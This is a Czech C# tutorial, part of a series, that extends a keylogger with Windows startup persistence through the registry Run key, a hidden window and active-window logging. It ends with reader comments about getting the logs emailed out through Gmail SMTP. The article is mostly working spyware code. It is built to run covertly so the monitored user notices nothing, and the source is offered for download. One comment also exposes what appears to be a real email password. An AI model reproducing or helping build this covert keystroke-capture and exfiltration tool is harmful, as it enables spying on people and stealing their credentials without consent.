Jednoduchý KeyLogger v C# 3: Spuštění po startu PC

C# .NET Pro pokročilé Jednoduchý KeyLogger v C# 3: Spuštění po startu PC

V minulém dílu jsme zprovoznili jednoduchý KeyLogger. Dnes ho vylepšíme o možnost spuštění po startu Windows.

Určitě je to krásné, když se nám KeyLogger spouští sám při startu Windows. Když monitorovaný PC nejeví téměř žádnou známku o tom, že je monitorován. A vlezlý uživatel, co nemá na PC nic dělat je chycen při činu. A proto se na to pojďme podívat :) Vytvoříme si jednoduchou třídu Register.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.Windows.Forms;

namespace KeyLogger
{
    class Register
    {
        static RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
        /// <summary>
        /// Nastaví/odstraní spouštění po startu
        /// </summary>
        /// <param name="run">Hodnota zda se má spouštět, či nikoli</param>
        public static void SetOnStartup(bool run)
        {
            if (run == true)
                rkApp.SetValue(Application.ProductName, Application.ExecutablePath.ToString() + " -h");
            else
                rkApp.DeleteValue(Application.ProductName, false);
        }

        /// <summary>
        /// Zjistí, zda je program nastaven po spuštění. Pokud ano a změnila se cesta, tak ji aktualizuje.
        /// </summary>
        /// <returns></returns>
        public static bool IsOnStartup()
        {
            if (rkApp.GetValue(Application.ProductName) == null) return false;

            if (!System.IO.File.Exists(rkApp.GetValue(Application.ProductName).ToString()))
                rkApp.SetValue(Application.ProductName, Application.ExecutablePath.ToString());

            return true;
        }
    }
}

A teď použití. Přidejme na formulář ještě jeden checkBox a nazvěme ho "chbStartWithWin­dows", můžeme ho nadepsat "Spusti při startu Windows?" Dále si vytvořme metodu s názvem "CheckStartPro­gram"

// Kontrola, zda se má program spustit po startu, pakliže ano, spustím i logování
private void CheckStartProgram()
{
        if (chbStartWithWindows.Checked == true)
        {
                Register.SetOnStartup(chbStartWithWindows.Checked);
                chbCheckRules.Checked = true; // zaháčkuji okno s pravidly
                StartKeyLogger(); // volání metody pro spuštění
                this.Hide();
                this.ShowInTaskbar = false;

        }
        else
        {
                Register.SetOnStartup(chbStartWithWindows.Checked);
        }
}

Možná jste se všimli, ale volám zde metodu pro odstartování KeyLoggeru. Ano, vytvořil jsem z obsahu tlačítka btnStart metodu, abych nemusel jeho kód psát 2x. Kód tlačítka vypadá takto:

private void btnStart_Click(object sender, EventArgs e)
{
        StartKeyLogger();
}

A motoda pro start keyloggeru vypadá tedy takto:

private void StartKeyLogger()
{
        this.Text = "KeyLogger 1.5 - Zapnut"; // nadepíšu toto hlavní okno
        btnStop.Enabled = true; // povolím tlačítko pro vypnutí KeyLoggeru
        btnStart.Enabled = false; // zakážu tlačítko pro spuštění KeyLoggeru
        tCheckKey.Enabled = true; // zapnu timer pro snímání kláves
        tCheckHide.Enabled = true; // zapnut timer umožňující skrývání
        tClearField.Enabled = true; // zapnu timer pro mazání okna
}

Nyní si upravíme událost Form1_Load, která nastává při vytvoření formuláře. Potřebujeme aby se při vytvoření zapnul KeyLogger, pokud je zaháčkovaný, že se má zapnout při startu.

private void Form1_Load(object sender, EventArgs e)
{
        /* Pokud tedy je zaháčkovaný checkBox po spuštění, metoda zapne keyLogger rovnou skrytě.
         * Pokud není zaháčkovaný, keyLogger se spustí, jako kdyby se spustil poprvé. */
        CheckStartProgram(); // voláme metodu, pro zjistění stavu spuštění.
}

Teď je třeba zajistit, aby se nastavilo spuštění při startu. Uděláme to v metodě CheckedChanged našeho chbStartWithWin­dows. Kód vypadá takto:

private void chbStartWithWindows_CheckedChanged(object sender, EventArgs e)
{
        Register.SetOnStartup(chbStartWithWindows.Checked);
}

Nyní nám chybí už jen zajistit, aby při spuštění programu se zjistilo a tím pádem i zaháčkovalo(od­háčkovalo), zda má být program spuštěn po startu Winodows. To můžeme udělat v public Form1. Tedy upravíme to na toto:

public Form1()
{
        InitializeComponent();
        chbStartWithWindows.Checked = Register.IsOnStartup(); // nastavíme checkBox podle toho, existence registru na spuštění keyLoggeru po startu windows
}

To by mělo být k nastavení možnosti po spuštění Windows asi vše :)

Nyní už jen přehlednost a máte pěkný KeyLogger :)

Pro zpřehlednění logu je třeba vytvořit další třídu. Nazvěme ji ActiveWindow. Jak je již z názvu patrné, budeme zjišťovat, které okno je aktivní. Třída bude vpadat takto:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;

namespace KeyLogger
{
    public static class ActiveWindow
    {

        [DllImport("user32.dll")]
        static extern IntPtr GetForegroundWindow();

        [DllImport("user32.dll")]
        static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

        public static string GetTitle() // metoda, která nám vrací název okna
        {
            const int nChars = 256; // maximální délka názvu
            IntPtr handle = IntPtr.Zero;
            StringBuilder title = new StringBuilder(nChars);
            handle = GetForegroundWindow();

            if (GetWindowText(handle, title, nChars) > 0)
                return title.ToString();
            return "";

        }
    }
}

Teď už jen použití. Použití tohoto nám upraví kód timeru tCheckKey Nezapomeňte vytvořit proměnnou sActiveWindowOld!

string sActiveWindowOld = "";

private void tCheckKey_Tick(object sender, EventArgs e)
{
        string activeWindow = ActiveWindow.GetTitle();

        if (activeWindow != sActiveWindowOld) // pokud je aktivní okno jiné, než okno, které bylo aktivní předtím,
                if (activeWindow != "") // a součas jeho název není prázdný
                        tbLog.Text += "\r\n" + activeWindow + ": "; // Vytvořím nový záznam do TB o novém okně

        tbLog.Text += Key.GetBuffKeys(); // Přidám stiklou klávesu
        tbLog.Text = Key.ReplaceChars(tbLog.Text); // Pozměním nějaké znaky, jako "space" za " " a pod
        sActiveWindowOld = activeWindow; // Nastavím do starého okna nové okno
}

Taaaak, to by mělo být naprosto všechno k velmi jednoduchému keyLoggeru. Snad to funguje jak má. KeyLogger můžeze libovolně vylepšovat, rád uvítám vaše názory na vylepšení a podobně :)


 

Stáhnout

Staženo 990x (80.68 kB)
Aplikace je včetně zdrojových kódů v jazyce C#

 

  Aktivity (1)

Článek pro vás napsal Mediel
Avatar
Autor se věnuje programování v C#, ThaiBoxu, ženám a posilování :) „Jestliže si vsugerujete neúspěch, pak vás čeká neúspěch. Někdo říká, že je nesmělý, hloupý. Zopakujte si to desetkrát za sebou a vaše nesmělost a hloupost se tím jen prohloubí.“ MUHAMMAD

Jak se ti líbí článek?
Celkem (2 hlasů) :
55555


 


Miniatura
Všechny články v sekci
C# - Pro pokročilé
Miniatura
Následující článek
C# na Linux - Mono snadno a rychle

 

 

Komentáře

Avatar
Duplicate
Člen
Avatar
Duplicate:

Lidičky, přepsal jsem si tam akorát svoj email a píše mi to:

System.Net.Mail.SmtpException was unhandled
  HResult=-2146233088
  Message=Server SMTP vyžaduje zabezpečené připojení nebo klient nebyl ověřen. Odpověď serveru: 5.7.0 Must issue a STARTTLS command first. q3sm2844938wia.14 - gsmtp
  Source=System
  StackTrace:
       v System.Net.Mail.MailCommand.CheckResponse(SmtpStatusCode statusCode, String response)
       v System.Net.Mail.MailCommand.Send(SmtpConnection conn, Byte[] command, MailAddress from, Boolean allowUnicode)
       v System.Net.Mail.SmtpTransport.SendMail(MailAddress sender, MailAddressCollection recipients, String deliveryNotify, Boolean allowUnicode, SmtpFailedRecipientException& exception)
       v System.Net.Mail.SmtpClient.Send(MailMessage message)
       v KeyLogger.Email.SendLog(String SMTP, String Port, String User, String Pass, String Adress, String Topic, String Log) v C:\Users\John\Downloads\KeyLogger pro DevBook\KeyLogger pro DevBook\KeyLogger pro DevBook\Email.cs:řádek 23
       v KeyLogger_pro_DevBook.Form1.tClearField_Tick(Object sender, EventArgs e) v C:\Users\John\Desktop\test1\test2.cs:řádek 111
       v System.Windows.Forms.Timer.OnTick(EventArgs e)
       v System.Windows.Forms.Timer.TimerNativeWindow.WndProc(Message& m)
       v System.Windows.Forms.NativeWindow.DebuggableCallback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)
       v System.Windows.Forms.UnsafeNativeMethods.DispatchMessageW(MSG& msg)
       v System.Windows.Forms.Application.ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(IntPtr dwComponentID, Int32 reason, Int32 pvLoopData)
       v System.Windows.Forms.Application.ThreadContext.RunMessageLoopInner(Int32 reason, ApplicationContext context)
       v System.Windows.Forms.Application.ThreadContext.RunMessageLoop(Int32 reason, ApplicationContext context)
       v System.Windows.Forms.Application.Run(Form mainForm)
       v KeyLogger_pro_DevBook.Program.Main() v C:\Users\John\Downloads\KeyLogger pro DevBook\KeyLogger pro DevBook\KeyLogger pro DevBook\Program.cs:řádek 18
       v System.AppDomain._nExecuteAssembly(RuntimeAssembly assembly, String[] args)
       v System.AppDomain.ExecuteAssembly(String assemblyFile, Evidence assemblySecurity, String[] args)
       v Microsoft.VisualStudio.HostingProcess.HostProc.RunUsersAssembly()
       v System.Threading.ThreadHelper.ThreadStart_Context(Object state)
       v System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
       v System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
       v System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
       v System.Threading.ThreadHelper.ThreadStart()
  InnerException:

Netuší někdo co s tim?

 
Odpovědět 10.10.2014 16:41
Avatar
Odpovídá na Duplicate
Michal Štěpánek:

Na svůj e-mail musíš mít i svoje ověření SMTP serveru, nastav si svoje "Credence"...

Odpovědět  +1 10.10.2014 17:26
Nikdy neříkej nahlas, že to nejde. Vždycky se totiž najde blbec, který to neví a udělá to...
Avatar
Duplicate
Člen
Avatar
Odpovídá na Michal Štěpánek
Duplicate:

Moc jsem tě nepochopil, můžeš to napsat víc laicky? :D

Změnil jsem si to akorát na:

Email.SendLog("smtp.gmail.com", "587", "drafty.production@gmail.com",
                    "mojeheslo", "drafty.production@gmail.com",
                    "Testblablabla", sBuffer);
Editováno 10.10.2014 17:34
 
Odpovědět 10.10.2014 17:32
Avatar
Odpovídá na Duplicate
Michal Štěpánek:

V podstatě jsem myslel to, cos napsal. Ověřil sis, že ty údaje k e-mailu fungují a že se těmi údaji dá ověřit mail? Ta chyba totiž píše, že nebyl e-mail ověřen, tzn., že je špatně uživ.jméno, heslo, port nebo něco jinýho...

EDIT: Někde tady jsem četl, že s gmailem jsou v tomto směru nějaké problémy s posíláním...

Editováno 10.10.2014 17:58
Odpovědět 10.10.2014 17:57
Nikdy neříkej nahlas, že to nejde. Vždycky se totiž najde blbec, který to neví a udělá to...
Avatar
Duplicate
Člen
Avatar
Odpovídá na Michal Štěpánek
Duplicate:

No testoval sem to asi 3x, ty údaje jsou 100% správně, no já tu četl, že ze seznamu to nejde skoro vůbec, protože má jinak řešenou autentifikaci. Vzhledem k tomu, že sem to jenom stáhl a přepsal si email, tak nevidim nikde chybu :D

Editováno 10.10.2014 18:12
 
Odpovědět 10.10.2014 18:11
Avatar
Jan Vargovský
Redaktor
Avatar
Odpovídá na Duplicate
Jan Vargovský:

U Gmailu si to musíš povolit v nastavení.

 
Odpovědět 10.10.2014 18:32
Avatar
Duplicate
Člen
Avatar
Odpovídá na Jan Vargovský
Duplicate:

A netušíš kde přesně prosím?

 
Odpovědět 10.10.2014 19:55
Avatar
Jan Vargovský
Redaktor
Avatar
Odpovídá na Duplicate
Jan Vargovský:
https://mail.google.com/mail/u/0/#settings/fwdandpop
 
Odpovědět 10.10.2014 23:46
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 8 zpráv z 8.